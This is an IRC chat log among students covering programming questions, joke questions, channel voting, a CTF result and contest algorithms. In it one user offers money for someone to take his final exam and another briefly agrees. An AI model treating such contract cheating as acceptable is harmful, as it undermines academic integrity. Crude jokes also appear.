[2014-12-06T23:59:32-0500] <@awe> bob_twinkles: they probably don't care.
[2014-12-06T23:59:43-0500] <+LittleBobbyTables> ^
[2014-12-07T00:00:11-0500] <bob_twinkles> but academic integrity !!111!1
[2014-12-07T00:00:21-0500] <+LittleBobbyTables> Soo
[2014-12-07T00:00:25-0500] <+LittleBobbyTables> Is that a no to 5 bucks
[2014-12-07T00:01:10-0500] <bob_twinkles> yes
[2014-12-07T00:01:15-0500] <bob_twinkles> i.e. yes that is a no
[2014-12-07T00:01:25-0500] <+LittleBobbyTables> Damn.
[2014-12-07T00:02:25-0500] <bob_twinkles> apparently the only way to get dart to actually type check your code is to enable it using an environment variable before you start dartium
[2014-12-07T00:02:33-0500] <bob_twinkles> which is... kinda silly
[2014-12-07T00:08:40-0500] <@awe> lol
[2014-12-07T00:09:05-0500] <+LittleBobbyTables> Sooo awe
[2014-12-07T00:09:08-0500] <+LittleBobbyTables> If you do my final
[2014-12-07T00:09:12-0500] <+LittleBobbyTables> I'll by you starboudn
[2014-12-07T00:09:21-0500] <@awe> lol
[2014-12-07T00:09:23-0500] <@awe> How long is it?
[2014-12-07T00:09:32-0500] <+Tamini> lbt
[2014-12-07T00:09:34-0500] <+LittleBobbyTables> 34 total questions
[2014-12-07T00:09:38-0500] <+LittleBobbyTables> I've already answered some
[2014-12-07T00:09:42-0500] <+Tamini> you were going to only pay bob_twinkles 5 bucks
[2014-12-07T00:09:46-0500] <+Tamini> but awe 15? :P
[2014-12-07T00:10:03-0500] <@awe> LittleBobbyTables: Hmm, sure, I guess.
[2014-12-07T00:10:09-0500] <+LittleBobbyTables> bob_twinkles wouldn't do it anyway.
[2014-12-07T00:10:13-0500] <@awe> LittleBobbyTables: do I have to get you to pass?
[2014-12-07T00:10:17-0500] <+LittleBobbyTables> Yes.
[2014-12-07T00:10:20-0500] <+LittleBobbyTables> 100%
[2014-12-07T00:10:26-0500] <@awe> How easy is it?
[2014-12-07T00:10:33-0500] <+LittleBobbyTables> Most of them are googleable
[2014-12-07T00:10:42-0500] <@awe> Okay, sure. Why not?
[2014-12-07T00:11:31-0500] <@awe> Actually, meh.
[2014-12-07T00:11:33-0500] <@awe> I don't feel like it.
[2014-12-07T00:11:37-0500] <@awe> I'd rather play 2k.
[2014-12-07T00:12:06-0500] <+Tamini> LOL
[2014-12-07T00:33:39-0500] <+LittleBobbyTables> https://www.irccloud.com/pastebin/71Ng3Oj0
[2014-12-07T00:33:45-0500] <+LittleBobbyTables> https://www.irccloud.com/pastebin/coKQNXej
[2014-12-07T00:33:48-0500] <+LittleBobbyTables> This code is so ugly
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[2014-12-07T00:40:15-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg
[2014-12-07T00:40:15-0500] Set by Pidgey on December 4, 2014 at 1:18:14 PM EST
[2014-12-07T00:40:15-0500] Mode is +ns
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[2014-12-07T00:45:22-0500] <+LittleBobbyTables> bob_twinkles: 
[2014-12-07T00:45:27-0500] <+LittleBobbyTables> https://www.irccloud.com/pastebin/BD3gUFT5
[2014-12-07T00:45:51-0500] <bob_twinkles> don't know, don't care
[2014-12-07T00:45:54-0500] <bob_twinkles> fuck everything about array types
[2014-12-07T00:46:02-0500] <bob_twinkles> just use pointers, it compiles to the same code
[2014-12-07T00:46:08-0500] <awe> fuck a lot of the things about C++ anyway.
[2014-12-07T00:46:18-0500] <+LittleBobbyTables> lol
[2014-12-07T00:46:35-0500] <+LittleBobbyTables> So what should I say to it
[2014-12-07T00:46:39-0500] <bob_twinkles> well actually the compiler might be able to give you some speedup by unrolling the loop but most of the time the tables are so big
[2014-12-07T00:47:05-0500] <bob_twinkles> my gut says D but realistically just throw it in a C++ file and try to compile it =P
[2014-12-07T00:47:48-0500] <+LittleBobbyTables> haha
[2014-12-07T00:48:19-0500] <+LittleBobbyTables> d wouldn't be right though, I'm pretty sure
[2014-12-07T00:48:25-0500] <+LittleBobbyTables> cause table is rows cols, and d is cols rows
[2014-12-07T00:48:28-0500] <bob_twinkles> meh, I don't use that syntax
[2014-12-07T00:48:37-0500] <bob_twinkles> oh, c then
[2014-12-07T00:48:44-0500] <bob_twinkles> derp
[2014-12-07T00:49:06-0500] <+LittleBobbyTables> submit
[2014-12-07T00:49:17-0500] <+LittleBobbyTables> lolwut
[2014-12-07T00:49:19-0500] <awe> ?
[2014-12-07T00:49:24-0500] <awe> isn't it a?
[2014-12-07T00:49:35-0500] <bob_twinkles> no
[2014-12-07T00:49:38-0500] <+LittleBobbyTables> shit I made a lot of stupid mistakes
[2014-12-07T00:49:52-0500] <+LittleBobbyTables> I got a 65 on it lmao
[2014-12-07T00:50:03-0500] <awe> bob_twinkles: why not?
[2014-12-07T00:50:05-0500] <bob_twinkles> awe: that would be java, in C/C++ you need to tell the compiler how big the array is going to be
[2014-12-07T00:50:10-0500] <awe> That's so bad.
[2014-12-07T00:50:15-0500] <bob_twinkles> it's efficient
[2014-12-07T00:50:15-0500] <+LittleBobbyTables> It wasn't C.
[2014-12-07T00:50:22-0500] <bob_twinkles> E?
[2014-12-07T00:50:23-0500] <+LittleBobbyTables> It didn't tell me the right answer either
[2014-12-07T00:50:30-0500] <bob_twinkles> hmm
[2014-12-07T00:50:49-0500] <+LittleBobbyTables> Meh
[2014-12-07T00:50:50-0500] <bob_twinkles> I dunno, like I said I usually just pass a pointer with width/height
[2014-12-07T00:50:56-0500] <+LittleBobbyTables> idc about that class too much
[2014-12-07T00:51:00-0500] <awe> bob_twinkles: isn't that what most people do?
[2014-12-07T00:51:23-0500] <bob_twinkles> awe: yeah because that syntax is so screwy
[2014-12-07T00:51:31-0500] <bob_twinkles> and restrictive
[2014-12-07T00:53:27-0500] <+LittleBobbyTables> also uhh
[2014-12-07T00:53:33-0500] <+LittleBobbyTables> That vector question was False, not True
[2014-12-07T00:53:59-0500] <bob_twinkles> oh I did read it right
[2014-12-07T00:54:16-0500] <bob_twinkles> the question says ".. that can only store _FOUR_ things"
[2014-12-07T00:54:28-0500] <bob_twinkles> and that array deffinition can clearly store 5
[2014-12-07T00:55:53-0500] <+LittleBobbyTables> Ah, right.
[2014-12-07T00:55:58-0500] <+LittleBobbyTables> Well, w/ee
[2014-12-07T00:56:02-0500] <+LittleBobbyTables> I fucked up a lot on arrays
[2014-12-07T00:56:15-0500] <+LittleBobbyTables> Was like "oh, yeah, that works." and forgot they were 0 based
[2014-12-07T00:56:16-0500] <+LittleBobbyTables> lmao
[2014-12-07T00:56:29-0500] <awe> What language isn't 0-based?
[2014-12-07T00:56:34-0500] <bob_twinkles> lua
[2014-12-07T00:56:42-0500] <awe> Orly?
[2014-12-07T00:56:51-0500] <bob_twinkles> yep, lists are 1 indexed in lua
[2014-12-07T00:56:54-0500] <bob_twinkles> because lua hates you
[2014-12-07T00:57:09-0500] <bob_twinkles> I want to say COBOL but I could be pulling that out of my ass
[2014-12-07T00:59:29-0500] <+LittleBobbyTables> I really should have just had others look it over
[2014-12-07T00:59:30-0500] <+LittleBobbyTables> :/
[2014-12-07T00:59:32-0500] <+LittleBobbyTables> But meh
[2014-12-07T00:59:59-0500] <bob_twinkles> well actually calling them "lists" in lua is a bit of a missnomer
[2014-12-07T01:00:20-0500] <bob_twinkles> there are only tables which behave like both lists and hashmaps
[2014-12-07T01:00:39-0500] <bob_twinkles> where the syntaxial sugar for creating them as lists of things 1 indexes stuff
[2014-12-07T01:13:49-0500] <benwaffle> sup
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[2014-12-07T01:15:33-0500] <+Tamini> sup mzhang
[2014-12-07T01:16:17-0500] <failedxyz> hi
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[2014-12-07T01:16:36-0500] <failedxyz> hei*
[2014-12-07T01:29:26-0500] <+LittleBobbyTables> If you were to cut off someone's penis and get them aroused, would they bleed out faster than if they weren't aroused?
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[2014-12-07T01:30:19-0500] <bob_twinkles> LittleBobbyTables: what the fuck
[2014-12-07T01:30:35-0500] <+LittleBobbyTables> shittyaskscience is a great sub
[2014-12-07T01:35:38-0500] <awe> Hey, guys.
[2014-12-07T01:35:40-0500] <awe> Want to read Naizs?
[2014-12-07T01:35:41-0500] <awe> Nazis*
[2014-12-07T01:35:42-0500] <awe> http://en.metapedia.org/wiki/Cultural_Marxism
[2014-12-07T01:48:01-0500] <benwaffle> "This is caused by stimulation of the dong bone, from whose marrow boner blood is created through the use of elf-proteins.
[2014-12-07T01:48:01-0500] <benwaffle> "
[2014-12-07T01:49:40-0500] <benwaffle> https://i.imgur.com/zlBT1Ah.gif
[2014-12-07T01:50:13-0500] <bob_twinkles> he tried real hard there
[2014-12-07T01:50:13-0500] <benwaffle> I'm Having Trouble Finding the Element of Surprise on the Periodic Table.
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[2014-12-07T01:50:33-0500] <benwaffle> If I told you where it was, it wouldn't be a surprise now, would it?
[2014-12-07T01:50:52-0500] <bob_twinkles> http://imgur.com/koNCWQD
[2014-12-07T01:50:54-0500] <bob_twinkles> =D
[2014-12-07T01:51:07-0500] <benwaffle> ...what
[2014-12-07T01:51:13-0500] <Tamini_> ooh vector fields
[2014-12-07T01:51:15-0500] <Tamini_> perdy
[2014-12-07T01:51:16-0500] <bob_twinkles> ^
[2014-12-07T01:51:23-0500] <benwaffle> oh
[2014-12-07T01:51:25-0500] <benwaffle> i forgot that already
[2014-12-07T01:51:46-0500] <benwaffle> I've already squirted two whole bottles of "no tears" baby shampoo into my daughter's face. Why is she still crying?
[2014-12-07T01:52:13-0500] <bob_twinkles> that's actually terrible
[2014-12-07T01:52:15-0500] <Tamini_> LOL
[2014-12-07T01:52:18-0500] <Tamini_> ben pls
[2014-12-07T01:52:30-0500] <benwaffle> If I heat my solid state hard drive until it becomes a gaseous state hard drive, would that enable cloud computing?
[2014-12-07T01:52:39-0500] <bob_twinkles> yes, yes it would
[2014-12-07T01:52:40-0500] <benwaffle> https://i.imgur.com/uf9Qt.png
[2014-12-07T01:52:49-0500] <benwaffle> I am now 22 years old and my eyesight is worsening, at what point do I get adult supervision?
[2014-12-07T01:53:07-0500] <benwaffle> If the camera adds 10 pounds, could the NSA's surveillance camera system be the cause of American obesity?
[2014-12-07T01:53:13-0500] <benwaffle> If I bought my balloon for $0.99, how much should I sell it for when I adjust for inflation?
[2014-12-07T01:53:19-0500] <benwaffle> Why do meteors always land in craters?
[2014-12-07T01:53:25-0500] <benwaffle> My pizza says to bake for 18-21 minutes, how do I bake something for -3 minutes?
[2014-12-07T01:53:40-0500] <bob_twinkles> you freeze it for 3 minutes obviously
[2014-12-07T01:53:46-0500] <benwaffle> If 200,000 people die every year from drowning and 200,000 people have already drowned this year, does that mean I can breathe under water?
[2014-12-07T01:53:58-0500] <benwaffle> If there is a finite amount of matter in the universe, how does Olive Garden offer unlimited salad and breadsticks?
[2014-12-07T01:54:13-0500] <benwaffle> My girlfriend says she needs time and distance. Is she calculating velocity?
[2014-12-07T01:54:31-0500] <benwaffle> How strong of a telescope do I need to see all of the nude pics in the clouds?
[2014-12-07T01:54:39-0500] <benwaffle> My chemistry homework is asking me to rank the bonds by relative strength. Could Pierce Brosnan or Daniel Craig beat Sean Connery in a fight?
[2014-12-07T01:55:12-0500] <benwaffle> perpetual motion https://i.imgur.com/4rf5w.jpg
[2014-12-07T01:57:27-0500] <Tamini_> i like the girlfriend one
[2014-12-07T01:57:45-0500] <+LittleBobbyTables> That drowning one is grea
[2014-12-07T01:57:46-0500] <+LittleBobbyTables> t
[2014-12-07T01:58:29-0500] <Tamini_> loool
[2014-12-07T01:58:48-0500] <bob_twinkles> I like adult supervision
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[2014-12-07T02:25:41-0500] <bob_twinkles> mmmm
[2014-12-07T02:25:43-0500] <bob_twinkles> properties
[2014-12-07T02:36:47-0500] <benwaffle> Mmm
[2014-12-07T02:36:54-0500] <benwaffle> Cream puffs
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[2014-12-07T03:19:33-0500] <nezorg> shellphish got 3rd in seccon!
[2014-12-07T03:19:44-0500] <nezorg> and I got a respectable number of points for them!
[2014-12-07T03:19:54-0500] • nezorg: might be going to tokyo
[2014-12-07T03:21:19-0500] <awe> benwaffle: I liked the girlfriend one.
[2014-12-07T03:21:20-0500] <awe> nezorg: I'm jealous.
[2014-12-07T03:21:57-0500] <nezorg> this was probably the most fun CTF I've played in
[2014-12-07T03:22:06-0500] <nezorg> so many cool challenges
[2014-12-07T03:22:23-0500] <bob_twinkles> I'm drawing with mode GL_POINTs
[2014-12-07T03:22:26-0500] <bob_twinkles> and it's drawing lines
[2014-12-07T03:22:29-0500] <bob_twinkles> webgl pls
[2014-12-07T03:22:46-0500] <+ubuntor> nezorg: nice
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[2014-12-07T04:00:52-0500] <awe> http://www.dorkly.com/embed/52944/pokemon-trainer-defeats-the-elite-four-with-a-magikarp
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[2014-12-07T09:44:14-0500] <+alokpathy> Tamini: Hiya
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[2014-12-07T09:52:39-0500] <+alokpathy> Since awe isn't here at the moment, I think I should be honorary op.
[2014-12-07T09:53:27-0500] <Hcnsh> i should be honorary owner
[2014-12-07T09:53:40-0500] <Hcnsh> but i'm fine with op
[2014-12-07T09:53:42-0500] <Hcnsh> .propose oper Hcnsh
[2014-12-07T09:53:42-0500] <&Pidgey> You must be identified to do that.
[2014-12-07T09:53:45-0500] <Hcnsh> plis
[2014-12-07T09:54:03-0500] <Hcnsh> .propose oper Hcnsh
[2014-12-07T09:54:03-0500] <&Pidgey> Proposal 0 is live.
[2014-12-07T09:54:06-0500] <Hcnsh> .vote 0 yea
[2014-12-07T09:54:06-0500] <&Pidgey> Vote issued.
[2014-12-07T09:54:34-0500] <The_Master> .active
[2014-12-07T09:54:34-0500] <&Pidgey> Proposal (0) to oper Hcnsh (Y: 1, N 0).
[2014-12-07T10:27:05-0500] <The_Master> .vote 0 ney
[2014-12-07T10:27:05-0500] <&Pidgey> ney is not a valid vote.
[2014-12-07T10:27:08-0500] <The_Master> .vote 0 nay
[2014-12-07T10:27:08-0500] <&Pidgey> Vote issued.
[2014-12-07T10:28:20-0500] <+alokpathy> rekt
[2014-12-07T10:28:40-0500] <The_Master> alokpathy: do you know why I was de-voiced?
[2014-12-07T10:29:22-0500] <+alokpathy> The_Master: You were devoiced?
[2014-12-07T10:29:25-0500] <+alokpathy> Did you identify?
[2014-12-07T10:29:37-0500] <The_Master> alokpathy: yes
[2014-12-07T10:29:51-0500] <+alokpathy> Did you leave and come back?
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[2014-12-07T10:30:03-0500] <+The_Master> alokpathy: That worked, thanks
[2014-12-07T10:30:14-0500] • alokpathy: techsupport++
[2014-12-07T10:30:34-0500] <+alokpathy> The_Master: That'll be $5
[2014-12-07T10:34:44-0500] <+The_Master> it has cost me far more (old Zimbabwean) dollars just to receive your chat messages (electricity, wifi, my time).
[2014-12-07T11:08:56-0500] <Hcnsh> .active
[2014-12-07T11:08:56-0500] <&Pidgey> Proposal (0) to oper Hcnsh (Y: 1, N 1).
[2014-12-07T11:09:19-0500] <Hcnsh> plis master
[2014-12-07T11:09:21-0500] <Hcnsh> u wanna fite?
[2014-12-07T11:09:44-0500] <+The_Master> down with ops!
[2014-12-07T11:09:57-0500] <+The_Master> .propose deoper awe
[2014-12-07T11:09:57-0500] <&Pidgey> deoper is not a valid option for a proposal.
[2014-12-07T11:10:07-0500] <+The_Master> .propose deopper awe
[2014-12-07T11:10:07-0500] <&Pidgey> deopper is not a valid option for a proposal.
[2014-12-07T11:10:12-0500] <Hcnsh> .propose deop awe
[2014-12-07T11:10:12-0500] <&Pidgey> Proposal 3 is live.
[2014-12-07T11:10:15-0500] <Hcnsh> .vote 3 yea
[2014-12-07T11:10:15-0500] <&Pidgey> Vote issued.
[2014-12-07T11:10:19-0500] <Hcnsh> .active
[2014-12-07T11:10:19-0500] <&Pidgey> Proposal (3) to deop awe (Y: 1, N 0).
[2014-12-07T11:10:19-0500] <&Pidgey> Proposal (0) to oper Hcnsh (Y: 1, N 1).
[2014-12-07T11:10:20-0500] <+The_Master> .vote yea
[2014-12-07T11:10:24-0500] <+The_Master> .vote 3 yea
[2014-12-07T11:10:24-0500] <&Pidgey> Vote issued.
[2014-12-07T11:10:41-0500] <Hcnsh> he'll probably jsut op himself again
[2014-12-07T11:10:43-0500] <Hcnsh> if it passes
[2014-12-07T11:10:47-0500] <Hcnsh> and anyways, he's server op
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[2014-12-07T13:27:17-0500] <JacobEdelman> hmmso
[2014-12-07T13:27:26-0500] <JacobEdelman> the question is
[2014-12-07T13:27:32-0500] <JacobEdelman> what background should I use for my site
[2014-12-07T13:27:36-0500] <JacobEdelman> I need a background
[2014-12-07T13:27:42-0500] <hardmath123> hi jacob
[2014-12-07T13:27:48-0500] <JacobEdelman> hi
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[2014-12-07T14:06:52-0500] <+The_Master> JacobEdelman: http://wallpaperus.org/wallpapers/04/151/outer-space1-1472x6429-wallpaper-1634552.jpg
[2014-12-07T14:07:15-0500] <JacobEdelman> I need something more subtle
[2014-12-07T14:08:14-0500] <JacobEdelman> hardmath123: have you considered making a tilde site?
[2014-12-07T14:08:25-0500] <JacobEdelman> I was thinking of making one and limiting it to high schoolers
[2014-12-07T14:09:10-0500] <+The_Master> http://upload.wikimedia.org/wikipedia/commons/7/74/Stars_Brewing_in_Cygnus_X.jpg
[2014-12-07T14:10:53-0500] <hardmath123> JacobEdelman: making a tilde as in hosting my own? Yes, as a matter of fact, I'm setting one up for our school.
[2014-12-07T14:11:16-0500] <+The_Master> JacobEdelman: or http://yozh.org/wp/wp-content/uploads/2010/11/ganglia.jpg
[2014-12-07T14:13:38-0500] <+The_Master> this is also goog: http://fc03.deviantart.net/fs70/f/2012/004/0/7/296_megapixel_fractal___in_the_lhc_by_inphoar-d4lb3a2.jpg
[2014-12-07T14:16:53-0500] <+The_Master> *good
[2014-12-07T14:40:57-0500] <awe> .vote 3 nay
[2014-12-07T14:40:58-0500] <&Pidgey> You must be identified to do that.
[2014-12-07T14:41:30-0500] <awe> .vote 3 nay
[2014-12-07T14:41:30-0500] <&Pidgey> Vote issued.
[2014-12-07T14:41:33-0500] <awe> .vote 0 nay
[2014-12-07T14:41:33-0500] <&Pidgey> Vote issued.
[2014-12-07T14:42:05-0500] <hardmath123> .active
[2014-12-07T14:42:05-0500] <&Pidgey> Proposal (3) to deop awe (Y: 2, N 1).
[2014-12-07T14:42:05-0500] <&Pidgey> Proposal (0) to oper Hcnsh (Y: 1, N 2).
[2014-12-07T14:42:09-0500] <hardmath123> .vote 3 nay
[2014-12-07T14:42:09-0500] <&Pidgey> You must be identified to do that.
[2014-12-07T14:42:09-0500] <awe> JacobEdelman: use one that you legally have the rights to.
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[2014-12-07T14:42:30-0500] <awe> Hcnsh: Stop proposing that I be deop'd on this channel. 
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[2014-12-07T14:42:41-0500] <+hardmath123> .vote 3 nay
[2014-12-07T14:42:41-0500] <&Pidgey> Vote issued.
[2014-12-07T14:42:57-0500] <awe> Hcnsh: If you're going to do that, I want to see legitimate discussion around why I should no longer be an oper.
[2014-12-07T15:05:34-0500] <awe> Guys, guys, http://youtu.be/hwS-0vcbRa4
[2014-12-07T15:20:26-0500] <Hcnsh> awe, i didn't propose that.
[2014-12-07T15:20:52-0500] <awe> [11:10:12]  <Hcnsh>	.propose deop awe
[2014-12-07T15:21:03-0500] <awe> I know The_Master was struggling to propose it, too.
[2014-12-07T15:21:11-0500] <awe> The_Master: See the above about trying to deop me.
[2014-12-07T15:21:13-0500] <JacobEdelman> hardmath123: I saw you have forked the puppeting tilde thing
[2014-12-07T15:21:19-0500] <JacobEdelman> hardmath123: its on my list of things to do
[2014-12-07T15:21:54-0500] <JacobEdelman> hardmath123: I just finished setting up my site (dns changes propagating now), so my next project is gonna be a secure email service, and then a tilde clone
[2014-12-07T15:22:28-0500] <+hardmath123> JacobEdelman: I have? O.o not intentionally, I haven't
[2014-12-07T15:22:39-0500] <+hardmath123> I wanna sysadmin it from scratch.
[2014-12-07T15:22:47-0500] <Hcnsh> oh wait
[2014-12-07T15:22:48-0500] <Hcnsh> nvm
[2014-12-07T15:22:50-0500] <Hcnsh> that was me then
[2014-12-07T15:22:53-0500] <Hcnsh> thought it was master
[2014-12-07T15:22:56-0500] <JacobEdelman> hardmath123: https://github.com/Hardmath123/puppet-tilde
[2014-12-07T15:23:46-0500] <JacobEdelman> awe: I was very careful about obeying copyright law on my site, I gave credit and obeyed licenses and everything
[2014-12-07T15:24:23-0500] <JacobEdelman> awe: (although working my way through the definition of a derivative to see if I could remove some weird speckles from an image that didn't allow derivatives was annoying)
[2014-12-07T15:24:25-0500] <+hardmath123> poof, gone
[2014-12-07T15:24:29-0500] <JacobEdelman> awe: (hint, I can)
[2014-12-07T15:24:44-0500] <awe> JacobEdelman: that depends on the license.
[2014-12-07T15:25:02-0500] <JacobEdelman> awe: if the licenses just forbids derivatives than I can
[2014-12-07T15:25:20-0500] <awe> Source?
[2014-12-07T15:25:27-0500] <JacobEdelman> (assuming its jus a no-deriv. and attribute license)
[2014-12-07T15:25:48-0500] <awe> That's why I said it depends on the license.
[2014-12-07T15:26:02-0500] <JacobEdelman> awe:
[2014-12-07T15:26:03-0500] <JacobEdelman> http://www.creativecommons.org/licenses/by-nd/4.0/
[2014-12-07T15:26:19-0500] <JacobEdelman> https://wiki.creativecommons.org/Frequently_Asked_Questions#When_is_my_use_considered_an_adaptation.3F
[2014-12-07T15:26:38-0500] <awe> Is this the license that it's under?
[2014-12-07T15:26:41-0500] <JacobEdelman> yup
[2014-12-07T15:26:47-0500] <JacobEdelman> its some photo from flickr
[2014-12-07T15:28:04-0500] <awe> This basically just says "depends on domain."
[2014-12-07T15:30:35-0500] <awe> So, small changes can be considered transformative.
[2014-12-07T15:30:39-0500] <awe> Under US case law.
[2014-12-07T15:30:53-0500] <awe> But it depends specifically on the impact that the changes have on the viewer.
[2014-12-07T15:30:59-0500] <awe> So, you're probably fine.
[2014-12-07T15:32:07-0500] <nezorg> .propose deop nezorg
[2014-12-07T15:32:07-0500] <&Pidgey> You must be identified to do that.
[2014-12-07T15:32:33-0500] <awe> nezorg: why? you're not even an op.
[2014-12-07T15:32:45-0500] <nezorg> thatsthejoke
[2014-12-07T15:33:03-0500] <awe> .propose deop nezorg
[2014-12-07T15:33:03-0500] <&Pidgey> Proposal 4 is live.
[2014-12-07T15:33:04-0500] <awe> .vote 4 yea
[2014-12-07T15:33:04-0500] <&Pidgey> Vote issued.
[2014-12-07T15:33:47-0500] <Tamini_> what even
[2014-12-07T15:33:55-0500] <+Tamini> .vote 4 yea
[2014-12-07T15:33:55-0500] <&Pidgey> You must be identified to do that.
[2014-12-07T15:34:01-0500] <Hcnsh> .vote 4 nay
[2014-12-07T15:34:01-0500] <&Pidgey> Vote issued.
[2014-12-07T15:34:11-0500] <+Tamini> .vote 4 yea
[2014-12-07T15:34:11-0500] <&Pidgey> Vote issued.
[2014-12-07T15:34:42-0500] <+hardmath123> oh no, usamts is due tomorrow
[2014-12-07T15:34:43-0500] <+hardmath123> O.o
[2014-12-07T15:35:43-0500] <+Tamini> oh 
[2014-12-07T15:35:45-0500] <+Tamini> you guys do it?
[2014-12-07T15:35:49-0500] <+hardmath123> i like it
[2014-12-07T15:36:03-0500] <+hardmath123> but i didn't get a chance to do the last problem
[2014-12-07T15:36:07-0500] <+Tamini> i just wait for aime :P
[2014-12-07T15:36:13-0500] <+Tamini> amcs are easier
[2014-12-07T15:36:22-0500] <+hardmath123> i don't do usemts for aime
[2014-12-07T15:36:31-0500] <+hardmath123> (or for the free mathematica :P)
[2014-12-07T15:36:45-0500] <+Tamini> ohh
[2014-12-07T15:51:05-0500] <+alokpathy> Tamini: That moment when you solve problems the day after a contest
[2014-12-07T15:51:21-0500] <+Tamini> alokpathy: rip me
[2014-12-07T15:51:22-0500] <+Tamini> LOL
[2014-12-07T15:51:22-0500] <+alokpathy> and feel like an idiot
[2014-12-07T15:51:22-0500] <+alokpathy> .-.
[2014-12-07T15:51:26-0500] <+Tamini> reading comp is hard
[2014-12-07T15:51:36-0500] <+Tamini> did you see me and brice bond over "yay we made 0 net contribution:
[2014-12-07T15:51:37-0500] <+Tamini> "
[2014-12-07T15:51:57-0500] <+alokpathy> I saw you guys bond over "gg math2hard"
[2014-12-07T15:52:35-0500] <+Tamini> ye
[2014-12-07T15:52:38-0500] <+alokpathy> I just got the maxflow-mincut w/ vertex capacities today 
[2014-12-07T15:52:38-0500] <+Tamini> we solved 15
[2014-12-07T15:52:41-0500] <+Tamini> and it didnt work and i cry
[2014-12-07T15:52:44-0500] <+alokpathy> and realized we were like 
[2014-12-07T15:52:47-0500] <+Tamini> wait how do you do maxflow taking out vertices
[2014-12-07T15:52:49-0500] <+alokpathy> 0.0001 away
[2014-12-07T15:52:51-0500] <+Tamini> wat ru smokin
[2014-12-07T15:53:04-0500] <+alokpathy> Modify the graph so like
[2014-12-07T15:53:29-0500] <+alokpathy> basically like the problem was to find the minimum number of vertices needed to remove to disconnect a source from a sink
[2014-12-07T15:53:35-0500] <+alokpathy> so it's like
[2014-12-07T15:53:57-0500] <+alokpathy> assign capacities or infinity (or arbitrary huge number) to all the edges
[2014-12-07T15:54:20-0500] <+alokpathy> split vertices and add edges in between them with capacity 1
[2014-12-07T15:54:22-0500] <+alokpathy> run FF
[2014-12-07T15:54:24-0500] <+alokpathy> ggnore
[2014-12-07T15:55:03-0500] <+Tamini> oh yeah
[2014-12-07T15:55:09-0500] <+Tamini> we were talking about vertex splitting
[2014-12-07T15:55:11-0500] <+Tamini> wait darn yeah
[2014-12-07T15:55:19-0500] <+Tamini> if edges have infinite capacity
[2014-12-07T15:55:20-0500] <+Tamini> LOL
[2014-12-07T15:56:31-0500] <+alokpathy> Yeah legit we were like 
[2014-12-07T15:56:37-0500] <+alokpathy> "Split the vertices...nah that can't work"
[2014-12-07T15:57:36-0500] <+Tamini> i think by that point
[2014-12-07T15:57:41-0500] <+Tamini> we were all having a mild panic attack
[2014-12-07T15:57:45-0500] <+Tamini> and couldnt think straight
[2014-12-07T15:57:59-0500] <+alokpathy> Yeah same
[2014-12-07T15:58:34-0500] <+LittleBobbyTables> dummies
[2014-12-07T15:58:37-0500] <+alokpathy> I also think I worsened it by saying it was NP-C at first LOL
[2014-12-07T15:58:44-0500] <+hardmath123> what was this
[2014-12-07T15:58:52-0500] <+alokpathy> I thought they meant independent set XD
[2014-12-07T15:58:54-0500] <+Tamini> we coded
[2014-12-07T15:58:57-0500] <+Tamini> push relabel
[2014-12-07T15:58:59-0500] <+alokpathy> hardmath123: PClassic
[2014-12-07T15:59:00-0500] <+Tamini> then we were like
[2014-12-07T15:59:03-0500] <+Tamini> "nah, this is gonna break"
[2014-12-07T15:59:18-0500] <+alokpathy> CLRS's pseudocode for FF is pretty descriptive 
[2014-12-07T15:59:28-0500] <+alokpathy> we probably could have implemented it well with that
[2014-12-07T15:59:42-0500] <+alokpathy> but we couldn't get the actual solution gdi
[2014-12-07T16:00:48-0500] <+Tamini> who brings textbooks anyway
[2014-12-07T16:00:50-0500] <+Tamini> also i still dont know
[2014-12-07T16:00:54-0500] <+Tamini> wtf was wrong with my 15
[2014-12-07T16:00:56-0500] <+Tamini> brice and i like
[2014-12-07T16:01:02-0500] <+alokpathy> OBO strikes again
[2014-12-07T16:01:02-0500] <+Tamini> literally had the same damn equations written down
[2014-12-07T16:01:08-0500] <+alokpathy> it haunts us all
[2014-12-07T16:01:26-0500] <+alokpathy> Also we brought three textbooks LOL
[2014-12-07T16:01:35-0500] <+alokpathy> We basically like
[2014-12-07T16:01:41-0500] <+alokpathy> picked up a random other book so we had 4 total
[2014-12-07T16:01:48-0500] <+alokpathy> and did a bracket tournament by flipping a coin
[2014-12-07T16:01:51-0500] <+alokpathy> fo figure out what book to use
[2014-12-07T16:01:56-0500] <+Tamini> LOL
[2014-12-07T16:02:02-0500] <+Tamini> we used our brains
[2014-12-07T16:02:05-0500] <+Tamini> <3
[2014-12-07T16:02:12-0500] <+ubuntor> was factoring not efficient enough for 15?
[2014-12-07T16:02:15-0500] <+alokpathy> We didn't actually use CLRS :P
[2014-12-07T16:03:19-0500] <+alokpathy> ubuntor: It was efficient enough, from what I recall. 
[2014-12-07T16:03:51-0500] <+alokpathy> They used 64-bit but I think Brice said that they said none of their test cases went that high up or something.
[2014-12-07T16:04:23-0500] <+alokpathy> Tamini: Imagine if that random computational linguistics book we picked up won LOL
[2014-12-07T16:05:02-0500] <+Tamini> LOL
[2014-12-07T16:05:05-0500] <+Tamini> okay no the issue is
[2014-12-07T16:05:08-0500] <+Tamini> how do I pass everything but one
[2014-12-07T16:05:12-0500] <+Tamini> and get a obo there
[2014-12-07T16:05:20-0500] <+Tamini> what even
[2014-12-07T16:05:21-0500] <+alokpathy> OBO in the code?
[2014-12-07T16:05:29-0500] <+Tamini> i got a obo on the output remember
[2014-12-07T16:05:31-0500] <+alokpathy> though yeah that seems pretty weird LOL
[2014-12-07T16:05:34-0500] <+Tamini> and brice missed the mod 1 edge case
[2014-12-07T16:05:39-0500] <+Tamini> which is utter buuuuuuuuuuull
[2014-12-07T16:08:02-0500] <+alokpathy> Yeah that was bad
[2014-12-07T16:08:22-0500] <+Tamini> okay
[2014-12-07T16:08:24-0500] <+Tamini> both of us call
[2014-12-07T16:08:26-0500] <+Tamini> utter bull on that
[2014-12-07T16:08:33-0500] <+Tamini> the mod should be to prevent overflow
[2014-12-07T16:08:55-0500] <+Tamini> not to punish people
[2014-12-07T16:09:06-0500] <+Tamini> like the mod should not provide an edge case nop
[2014-12-07T16:09:18-0500] <+alokpathy> Yeah he was like
[2014-12-07T16:09:25-0500] <+alokpathy> "This is why I do math and not CS"
[2014-12-07T16:09:29-0500] <+alokpathy> and I was like no Brice plz
[2014-12-07T16:09:35-0500] <+Tamini> lol that was both of us
[2014-12-07T16:09:37-0500] <+Tamini> we were like
[2014-12-07T16:09:40-0500] <+Tamini> high fiving at
[2014-12-07T16:09:45-0500] <+Tamini> "i havent touched a computer yet today"
[2014-12-07T16:09:46-0500] <+Tamini> :P
